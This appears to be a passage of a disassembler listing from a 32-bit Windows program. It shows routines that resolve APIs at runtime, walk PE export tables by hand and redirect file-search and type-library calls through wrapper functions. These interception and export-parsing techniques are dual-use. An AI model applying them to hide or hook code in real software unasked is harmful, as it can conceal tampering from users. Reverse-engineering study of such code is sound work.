loc_4D9B32: ; CODE XREF: sub_4D9A34+E5j mov eax, 80004005h loc_4D9B37: ; CODE XREF: sub_4D9A34+C7j ; sub_4D9A34+FCj pop edi leave retn 18h sub_4D9A34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D9B3C proc near ; DATA XREF: _6:004E1400o var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_8], 80004005h push [ebp+arg_0] call sub_4D2D50 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4D9BB5 push 208h call sub_4D835A pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_18] mov [ebp+var_10], eax push 104h push [ebp+var_10] push 0FFFFFFFFh push [ebp+var_4] push 0 push 0 call ds:dword_4E1770 ; MultiByteToWideChar push offset dword_4DE5F8 push offset aLoadtypelib ; "LoadTypeLib" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_C], eax push [ebp+arg_10] push [ebp+var_10] call [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] mov [ebp+var_1C], eax push [ebp+var_1C] call sub_4D83DD pop ecx loc_4D9BB5: ; CODE XREF: sub_4D9B3C+1Dj cmp [ebp+var_8], 0 jge short loc_4D9BE4 push offset dword_4DE5F8 push offset aLoadregtypelib ; "LoadRegTypeLib" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_14], eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_14] mov [ebp+var_8], eax loc_4D9BE4: ; CODE XREF: sub_4D9B3C+7Dj mov eax, [ebp+var_8] leave retn 14h sub_4D9B3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D9BEB proc near ; CODE XREF: sub_4D9C22+Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] call ds:dword_4E1718 ; GetModuleHandleA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4D9C0E push [ebp+arg_4] call ds:dword_4E175C ; LoadLibraryA mov [ebp+var_8], eax loc_4D9C0E: ; CODE XREF: sub_4D9BEB+15j push [ebp+arg_0] push [ebp+var_8] call ds:dword_4E1728 ; GetProcAddress mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_4D9BEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D9C22 proc near ; CODE XREF: sub_4D58A0+16p ; sub_4D9518+CCp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push [ebp+arg_4] push [ebp+arg_0] call sub_4D9BEB pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4D9C4F push ds:off_4DE4F8 push 30h push ds:off_4DE4FC call sub_4D848C loc_4D9C4F: ; CODE XREF: sub_4D9C22+18j mov eax, [ebp+var_4] leave retn sub_4D9C22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D9C54 proc near ; CODE XREF: _0:0041E9D9p _0:0041E9EBp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_4D9C64 mov [ebp+arg_0], offset sub_4D8C27 loc_4D9C64: ; CODE XREF: sub_4D9C54+7j movzx eax, ds:byte_4E60D0 test eax, eax jnz short loc_4D9C7A push [ebp+arg_0] call ds:dword_4E1790 ; SetUnhandledExceptionFilter jmp short loc_4D9C8A ; --------------------------------------------------------------------------- loc_4D9C7A: ; CODE XREF: sub_4D9C54+19j push offset sub_4D8C27 call ds:dword_4E1790 ; SetUnhandledExceptionFilter mov eax, offset sub_4D8C27 loc_4D9C8A: ; CODE XREF: sub_4D9C54+24j pop ebp retn 4 sub_4D9C54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D9C8E proc near ; CODE XREF: sub_4D9D79+4Bp ; sub_4D9F43+108p ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch and [ebp+var_8], 0 mov eax, [ebp+arg_4] mov eax, [eax+18h] dec eax mov [ebp+var_4], eax loc_4D9CA2: ; CODE XREF: sub_4D9C8E:loc_4D9D70j mov eax, [ebp+var_8] cmp eax, [ebp+var_4] jg loc_4D9D75 mov eax, [ebp+var_8] add eax, [ebp+var_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_10], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] add ecx, [eax+20h] mov eax, [ebp+var_10] mov eax, [ecx+eax*4] add eax, [ebp+arg_0] mov [ebp+var_1C], eax mov eax, [ebp+arg_8] mov [ebp+var_20], eax loc_4D9CD7: ; CODE XREF: sub_4D9C8E+7Bj mov eax, [ebp+var_20] mov al, [eax] mov [ebp+var_21], al mov ecx, [ebp+var_1C] cmp al, [ecx] jnz short loc_4D9D11 cmp [ebp+var_21], 0 jz short loc_4D9D0B mov eax, [ebp+var_20] mov al, [eax+1] mov [ebp+var_22], al mov ecx, [ebp+var_1C] cmp al, [ecx+1] jnz short loc_4D9D11 add [ebp+var_20], 2 add [ebp+var_1C], 2 cmp [ebp+var_22], 0 jnz short loc_4D9CD7 loc_4D9D0B: ; CODE XREF: sub_4D9C8E+5Cj and [ebp+var_28], 0 jmp short loc_4D9D19 ; --------------------------------------------------------------------------- loc_4D9D11: ; CODE XREF: sub_4D9C8E+56j ; sub_4D9C8E+6Dj sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_28], eax loc_4D9D19: ; CODE XREF: sub_4D9C8E+81j mov eax, [ebp+var_28] mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4D9D5A mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] add ecx, [eax+24h] mov eax, [ebp+var_10] mov ax, [ecx+eax*2] mov [ebp+var_18], ax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] add ecx, [eax+1Ch] movzx eax, [ebp+var_18] mov eax, [ecx+eax*4] add eax, [ebp+arg_0] mov [ebp+var_14], eax mov eax, [ebp+var_14] jmp short locret_4D9D77 ; --------------------------------------------------------------------------- loc_4D9D5A: ; CODE XREF: sub_4D9C8E+9Bj cmp [ebp+var_C], 0 jle short loc_4D9D69 mov eax, [ebp+var_10] inc eax mov [ebp+var_8], eax jmp short loc_4D9D70 ; --------------------------------------------------------------------------- loc_4D9D69: ; CODE XREF: sub_4D9C8E+D0j mov eax, [ebp+var_10] dec eax mov [ebp+var_4], eax loc_4D9D70: ; CODE XREF: sub_4D9C8E+D9j jmp loc_4D9CA2 ; --------------------------------------------------------------------------- loc_4D9D75: ; CODE XREF: sub_4D9C8E+1Aj xor eax, eax locret_4D9D77: ; CODE XREF: sub_4D9C8E+CAj leave retn sub_4D9C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D9D79 proc near ; CODE XREF: sub_4D7494+97p ; sub_4D7494+C5p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h push [ebp+arg_4] call ds:dword_4E1718 ; GetModuleHandleA mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4D9D9D push [ebp+arg_4] call ds:dword_4E175C ; LoadLibraryA mov [ebp+var_14], eax loc_4D9D9D: ; CODE XREF: sub_4D9D79+16j mov eax, [ebp+var_14] mov [ebp+var_C], eax mov eax, [ebp+var_C] mov ecx, [ebp+var_C] add ecx, [eax+3Ch] mov [ebp+var_10], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_C] add ecx, [eax+78h] mov [ebp+var_4], ecx push [ebp+arg_0] push [ebp+var_4] push [ebp+var_C] call sub_4D9C8E add esp, 0Ch mov [ebp+var_8], eax mov eax, [ebp+var_8] leave retn sub_4D9D79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D9DD4 proc near ; CODE XREF: sub_4D4DC0+12p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 2Ch push offset dword_4E60B8 call ds:dword_4E174C ; InitializeCriticalSection push offset dword_4E6098 call ds:dword_4E174C ; InitializeCriticalSection push 28h call sub_4D835A pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4D9E13 push 83h mov ecx, [ebp+var_8] call sub_4DB77C mov [ebp+var_1C], eax jmp short loc_4D9E17 ; --------------------------------------------------------------------------- loc_4D9E13: ; CODE XREF: sub_4D9DD4+2Bj and [ebp+var_1C], 0 loc_4D9E17: ; CODE XREF: sub_4D9DD4+3Dj mov eax, [ebp+var_1C] mov ds:dword_4E60D4, eax push 28h call sub_4D835A pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4D9E3F push 9 mov ecx, [ebp+var_C] call sub_4DB77C mov [ebp+var_20], eax jmp short loc_4D9E43 ; --------------------------------------------------------------------------- loc_4D9E3F: ; CODE XREF: sub_4D9DD4+5Aj and [ebp+var_20], 0 loc_4D9E43: ; CODE XREF: sub_4D9DD4+69j mov eax, [ebp+var_20] mov ds:dword_4E60D8, eax push 28h call sub_4D835A pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4D9E6B push 9 mov ecx, [ebp+var_10] call sub_4DB77C mov [ebp+var_24], eax jmp short loc_4D9E6F ; --------------------------------------------------------------------------- loc_4D9E6B: ; CODE XREF: sub_4D9DD4+86j and [ebp+var_24], 0 loc_4D9E6F: ; CODE XREF: sub_4D9DD4+95j mov eax, [ebp+var_24] mov ds:dword_4E194C, eax push 28h call sub_4D835A pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_4D9E97 push 9 mov ecx, [ebp+var_14] call sub_4DB77C mov [ebp+var_28], eax jmp short loc_4D9E9B ; --------------------------------------------------------------------------- loc_4D9E97: ; CODE XREF: sub_4D9DD4+B2j and [ebp+var_28], 0 loc_4D9E9B: ; CODE XREF: sub_4D9DD4+C1j mov eax, [ebp+var_28] mov ds:dword_4E1954, eax push 28h call sub_4D835A pop ecx mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_4D9EC3 push 9 mov ecx, [ebp+var_18] call sub_4DB77C mov [ebp+var_2C], eax jmp short loc_4D9EC7 ; --------------------------------------------------------------------------- loc_4D9EC3: ; CODE XREF: sub_4D9DD4+DEj and [ebp+var_2C], 0 loc_4D9EC7: ; CODE XREF: sub_4D9DD4+EDj mov eax, [ebp+var_2C] mov ds:dword_4E1950, eax push offset dword_4DE5B4 push 2Fh push offset off_4E1250 call sub_4D9F43 add esp, 0Ch push offset dword_4DE5C4 push 2 push offset off_4E13C8 call sub_4D9F43 add esp, 0Ch push offset dword_4DE5D0 push 1 push offset off_4E13D8 call sub_4D9F43 add esp, 0Ch push offset dword_4DE5DC push 3 push offset off_4E13E0 call sub_4D9F43 add esp, 0Ch push offset dword_4DE5F8 push 2 push offset off_4E13F8 call sub_4D9F43 add esp, 0Ch push offset dword_4DE5B4 call ds:dword_4E1718 ; GetModuleHandleA mov [ebp+var_4], eax leave retn sub_4D9DD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D9F43 proc near ; CODE XREF: sub_4D9DD4+107p ; sub_4D9DD4+11Bp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h and [ebp+var_4], 0 push [ebp+arg_8] call ds:dword_4E1718 ; GetModuleHandleA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4D9F6B push [ebp+arg_8] call ds:dword_4E175C ; LoadLibraryA mov [ebp+var_10], eax loc_4D9F6B: ; CODE XREF: sub_4D9F43+1Aj cmp [ebp+var_10], 0 jnz short loc_4D9F87 push ds:off_4DE4F8 push 0DDh push ds:off_4DE4FC call sub_4D848C loc_4D9F87: ; CODE XREF: sub_4D9F43+2Cj push 1 push [ebp+var_10] mov ecx, ds:dword_4E60D8 call sub_4DB98E mov eax, [ebp+var_10] and eax, 0FFFh test eax, eax jz short loc_4D9FBF mov eax, [ebp+var_10] and ax, 0F000h mov [ebp+var_8], eax push 1 push [ebp+var_8] mov ecx, ds:dword_4E60D8 call sub_4DB98E jmp short loc_4D9FC5 ; --------------------------------------------------------------------------- loc_4D9FBF: ; CODE XREF: sub_4D9F43+5Ej mov eax, [ebp+var_10] mov [ebp+var_8], eax loc_4D9FC5: ; CODE XREF: sub_4D9F43+7Aj mov eax, [ebp+var_8] mov ecx, [ebp+var_8] add ecx, [eax+3Ch] mov [ebp+var_C], ecx mov eax, [ebp+var_C] cmp dword ptr [eax], 4550h jnz short loc_4D9FE8 mov eax, [ebp+var_C] mov ecx, [ebp+var_8] add ecx, [eax+78h] mov [ebp+var_4], ecx loc_4D9FE8: ; CODE XREF: sub_4D9F43+97j and [ebp+var_14], 0 jmp short loc_4D9FF5 ; --------------------------------------------------------------------------- loc_4D9FEE: ; CODE XREF: sub_4D9F43:loc_4DA082j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_4D9FF5: ; CODE XREF: sub_4D9F43+A9j mov eax, [ebp+var_14] cmp eax, [ebp+arg_4] jnb loc_4DA087 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*8+4] push [ebp+var_10] call ds:dword_4E1728 ; GetProcAddress mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_4DA035 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*8] push eax push [ebp+var_18] mov ecx, ds:dword_4E60D4 call sub_4DB98E loc_4DA035: ; CODE XREF: sub_4D9F43+D8j cmp [ebp+var_4], 0 jz short loc_4DA082 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*8+4] push [ebp+var_4] push [ebp+var_8] call sub_4D9C8E add esp, 0Ch mov [ebp+var_1C], eax mov eax, [ebp+var_18] cmp eax, [ebp+var_1C] jz short loc_4DA082 cmp [ebp+var_1C], 0 jz short loc_4DA082 cmp [ebp+var_18], 0 jz short loc_4DA082 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*8] push eax push [ebp+var_1C] mov ecx, ds:dword_4E60D4 call sub_4DB98E loc_4DA082: ; CODE XREF: sub_4D9F43+F6j ; sub_4D9F43+119j ... jmp loc_4D9FEE ; --------------------------------------------------------------------------- loc_4DA087: ; CODE XREF: sub_4D9F43+B8j cmp [ebp+arg_8], offset dword_4DE5B4 jnz short locret_4DA0BA cmp [ebp+var_4], 0 jz short locret_4DA0BA push offset aWritefile ; "WriteFile" push [ebp+var_4] push [ebp+var_8] call sub_4D9C8E add esp, 0Ch mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short locret_4DA0BA mov eax, [ebp+var_20] mov ds:dword_4E17BC, eax locret_4DA0BA: ; CODE XREF: sub_4D9F43+14Bj ; sub_4D9F43+151j ... leave retn sub_4D9F43 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA0BC proc near ; CODE XREF: _4:004CD715p push ebp mov ebp, esp push 0 call sub_4DA0C8 pop ebp retn sub_4DA0BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA0C8 proc near ; CODE XREF: sub_40B105+478p ; sub_40B9B9+DFp ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DEA00 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp push offset dword_4E60B8 call ds:dword_4E16C4 ; RtlEnterCriticalSection mov ds:byte_4E60D0, 1 push 0 call sub_4D9C54 and [ebp+var_4], 0 call sub_4D71C3 or [ebp+var_4], 0FFFFFFFFh jmp short loc_4DA138 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 1 or [ebp+var_4], 0FFFFFFFFh jmp short loc_4DA134 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_4DA134: ; CODE XREF: sub_4DA0C8+5Fj or [ebp+var_4], 0FFFFFFFFh loc_4DA138: ; CODE XREF: sub_4DA0C8+4Bj mov [ebp+var_4], 2 call sub_4D46D0 or [ebp+var_4], 0FFFFFFFFh jmp short loc_4DA16D ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 3 or [ebp+var_4], 0FFFFFFFFh jmp short loc_4DA169 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_4DA169: ; CODE XREF: sub_4DA0C8+94j or [ebp+var_4], 0FFFFFFFFh loc_4DA16D: ; CODE XREF: sub_4DA0C8+80j mov [ebp+var_4], 4 push [ebp+arg_0] call ds:dword_4E16C8 ; ExitProcess or [ebp+var_4], 0FFFFFFFFh jmp short loc_4DA1B6 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 5 or [ebp+var_4], 0FFFFFFFFh jmp short loc_4DA1A2 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_4DA1A2: ; CODE XREF: sub_4DA0C8+CDj push [ebp+arg_0] call ds:dword_4E16E4 ; GetCurrentProcess push eax call ds:dword_4E1798 ; TerminateProcess or [ebp+var_4], 0FFFFFFFFh loc_4DA1B6: ; CODE XREF: sub_4DA0C8+B9j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4DA0C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA1C7 proc near ; CODE XREF: sub_4091C2+22p ; sub_409BB2+27p ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push offset dword_4DE5B4 push offset aSearchpatha_0 ; "SearchPathA" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+arg_0], 0 jnz short loc_4DA20D push 0 xor edx, edx mov ecx, [ebp+arg_4] call sub_4D19D2 test eax, eax jz short loc_4DA20D push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] call ds:dword_4E1708 ; GetFullPathNameA jmp short locret_4DA222 ; --------------------------------------------------------------------------- loc_4DA20D: ; CODE XREF: sub_4DA1C7+20j ; sub_4DA1C7+30j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_4] locret_4DA222: ; CODE XREF: sub_4DA1C7+44j leave retn 18h sub_4DA1C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA226 proc near ; DATA XREF: _6:004E1360o var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DEA48 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi and [ebp+var_20], 0 and [ebp+var_1C], 0 and [ebp+var_4], 0 cmp [ebp+arg_0], 0 jnz short loc_4DA296 push 104h call sub_4D835A pop ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_20], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_20] rep stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_4] push 0 push 0 call ds:dword_4E17B8 ; WideCharToMultiByte loc_4DA296: ; CODE XREF: sub_4DA226+35j cmp [ebp+arg_0], 0 jnz short loc_4DA2D3 push 0 xor edx, edx mov ecx, [ebp+var_20] call sub_4D19D2 test eax, eax jz short loc_4DA2D3 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] call ds:dword_4E170C ; GetFullPathNameW push 0FFFFFFFFh mov [ebp+var_2C], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_2C] jmp short loc_4DA323 ; --------------------------------------------------------------------------- loc_4DA2D3: ; CODE XREF: sub_4DA226+74j ; sub_4DA226+84j push offset dword_4DE5B4 push offset aSearchpathw ; "SearchPathW" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_1C], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_1C] push 0FFFFFFFFh mov [ebp+var_30], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_30] jmp short loc_4DA323 ; --------------------------------------------------------------------------- loc_4DA311: ; DATA XREF: _5:004DEA50o mov eax, [ebp+var_20] mov [ebp+var_28], eax push [ebp+var_28] call sub_4D83DD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_4DA323: ; CODE XREF: sub_4DA226+ABj ; sub_4DA226+E9j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h sub_4DA226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA334 proc near ; CODE XREF: sub_4049CD+201p ; sub_40752B+3Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4CF63E test eax, eax jnz short loc_4DA35A push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E16D0 ; FindFirstFileA mov [ebp+var_4], eax loc_4DA35A: ; CODE XREF: sub_4DA334+15j mov eax, [ebp+var_4] leave retn 8 sub_4DA334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA361 proc near ; DATA XREF: _6:004E1300o var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = byte ptr -160h var_134 = byte ptr -134h var_30 = byte ptr -30h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004DA496 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DEA58 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 154h push ebx push esi push edi and [ebp+var_20], 0 and [ebp+var_4], 0 push 104h call sub_4D835A pop ecx mov [ebp+var_168], eax mov eax, [ebp+var_168] mov [ebp+var_20], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_20] rep stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_4E17B8 ; WideCharToMultiByte lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_160] push eax push [ebp+var_20] call sub_4CF63E test eax, eax jnz short loc_4DA416 and [ebp+var_164], 0 push offset dword_4DE5B4 push offset aFindfirstfilew ; "FindFirstFileW" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_164], eax push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_164] mov [ebp+var_1C], eax jmp short loc_4DA475 ; --------------------------------------------------------------------------- loc_4DA416: ; CODE XREF: sub_4DA361+84j lea ecx, [ebp+var_134] lea eax, [ebp+var_160] sub ecx, eax lea esi, [ebp+var_160] mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 104h mov eax, [ebp+arg_4] add eax, 2Ch push eax push 0FFFFFFFFh lea eax, [ebp+var_134] push eax push 0 push 0 call ds:dword_4E1770 ; MultiByteToWideChar push 0Eh mov eax, [ebp+arg_4] add eax, 234h push eax push 0Eh lea eax, [ebp+var_30] push eax push 0 push 0 call ds:dword_4E1770 ; MultiByteToWideChar loc_4DA475: ; CODE XREF: sub_4DA361+B3j or [ebp+var_4], 0FFFFFFFFh call sub_4DA480 jmp short loc_4DA496 sub_4DA361 endp ; =============== S U B R O U T I N E ======================================= sub_4DA480 proc near ; CODE XREF: sub_4DA361+118p ; DATA XREF: _5:004DEA60o mov eax, [ebp-20h] mov [ebp-16Ch], eax push dword ptr [ebp-16Ch] call sub_4D83DD pop ecx retn sub_4DA480 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4DA361 loc_4DA496: ; CODE XREF: sub_4DA361+11Dj mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_4DA361 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA4AA proc near ; DATA XREF: _6:004E1308o var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = byte ptr -160h var_134 = byte ptr -134h var_30 = byte ptr -30h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 004DA5EB SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DEA68 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 154h push ebx push esi push edi and [ebp+var_20], 0 and [ebp+var_4], 0 push 104h call sub_4D835A pop ecx mov [ebp+var_168], eax mov eax, [ebp+var_168] mov [ebp+var_20], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_20] rep stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_4E17B8 ; WideCharToMultiByte lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_160] push eax push [ebp+var_20] call sub_4CF63E test eax, eax jnz short loc_4DA56B and [ebp+var_164], 0 push offset dword_4DE5B4 push offset aFindfirstfilee ; "FindFirstFileExW" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_164], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_164] mov [ebp+var_1C], eax jmp short loc_4DA5CA ; --------------------------------------------------------------------------- loc_4DA56B: ; CODE XREF: sub_4DA4AA+84j lea ecx, [ebp+var_134] lea eax, [ebp+var_160] sub ecx, eax lea esi, [ebp+var_160] mov edi, [ebp+arg_8] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 104h mov eax, [ebp+arg_8] add eax, 2Ch push eax push 0FFFFFFFFh lea eax, [ebp+var_134] push eax push 0 push 0 call ds:dword_4E1770 ; MultiByteToWideChar push 0Eh mov eax, [ebp+arg_8] add eax, 234h push eax push 0Eh lea eax, [ebp+var_30] push eax push 0 push 0 call ds:dword_4E1770 ; MultiByteToWideChar loc_4DA5CA: ; CODE XREF: sub_4DA4AA+BFj or [ebp+var_4], 0FFFFFFFFh call sub_4DA5D5 jmp short loc_4DA5EB sub_4DA4AA endp ; =============== S U B R O U T I N E ======================================= sub_4DA5D5 proc near ; CODE XREF: sub_4DA4AA+124p ; DATA XREF: _5:004DEA70o mov eax, [ebp-20h] mov [ebp-16Ch], eax push dword ptr [ebp-16Ch] call sub_4D83DD pop ecx retn sub_4DA5D5 endp ; --------------------------------------------------------------------------- ; START OF 